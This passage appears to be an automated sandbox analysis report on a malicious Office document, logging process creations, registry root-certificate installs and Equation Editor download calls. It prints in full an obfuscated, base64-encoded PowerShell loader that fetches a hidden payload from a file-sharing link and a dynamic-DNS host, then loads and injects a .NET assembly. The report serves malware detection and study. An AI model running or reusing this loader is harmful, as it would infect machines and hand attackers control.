'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_002821C8 push ebx; iretd	9_2_002821EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_002825AD push ebx; retf	9_2_002825EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 10_2_00632218 pushfd ; iretd	10_2_00632219

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\wscript.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 3_2_035006DC URLDownloadToFileW,ShellExecuteW,ExitProcess,

3_2_035006DC

Source: C:\Windows\SysWOW64\wscript.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
